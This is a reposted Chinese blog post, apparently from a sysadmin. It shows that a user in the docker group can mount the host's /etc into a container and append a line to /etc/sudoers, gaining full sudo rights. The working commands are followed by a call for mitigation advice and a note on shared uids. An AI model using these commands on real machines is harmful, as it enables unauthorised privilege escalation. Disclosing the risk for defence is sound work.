栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

docker组普通用户如何拿到系统sudo权限

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

docker组普通用户如何拿到系统sudo权限

1. 管理员给新人 tom 新开了个账号

$ usr="tom"

$ sudo useradd -s /bin/bash -d /home/${usr} -m ${usr}

$ sudo passwd ${usr}

根据需要,又把 tom 加入了 docker 组:

$ sudo usermod -G docker ${usr}

查看

$ id tom
uid=1010(tom) gid=1012(tom) groups=1012(tom),1004(docker)

2. 普通用户 tom 自己获取 sudo 权限

tom登录后启动 docker

tom@sustc-HG:~$ docker run --name test1 --rm -it -v /etc/:/home/test ubuntu:20.04 bash
root@90686e99aa5b:/# cd /home/test/
root@90686e99aa5b:/home/test# echo "tom  ALL=(ALL:ALL) ALL" >> sudoers
root@90686e99aa5b:/home/test# exit
exit


# 普通用户没有权限
tom@sustc-HG:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied

# 已经获取 sudo 权限
tom@sustc-HG:~$ sudo tail -n 1 /etc/sudoers
tom  ALL=(ALL:ALL) ALL

小结:这就意味着 把一个普通用户加入docker组,相当于给他了 sudo 权限。

我们的服务器人人可以启动docker,就意味着人人都是管理员权限?!

好可怕!

怎么补救!

恳请各位大佬出谋划策。

容器内的 root 用户和宿主机上的 root 用户是同一个吗?
答案是:是的,它们对应的是同一个 uid。原因我们在前面已经解释过了:整个系统共享同一个内核,而内核只管理一套 uid 和 gid。


而且即便容器内外只共享uid和gid,不共享用户名,组名。权限是依赖id的,也就是说可以使用容器修改一些普通用户无法修改的内容。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/334622.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号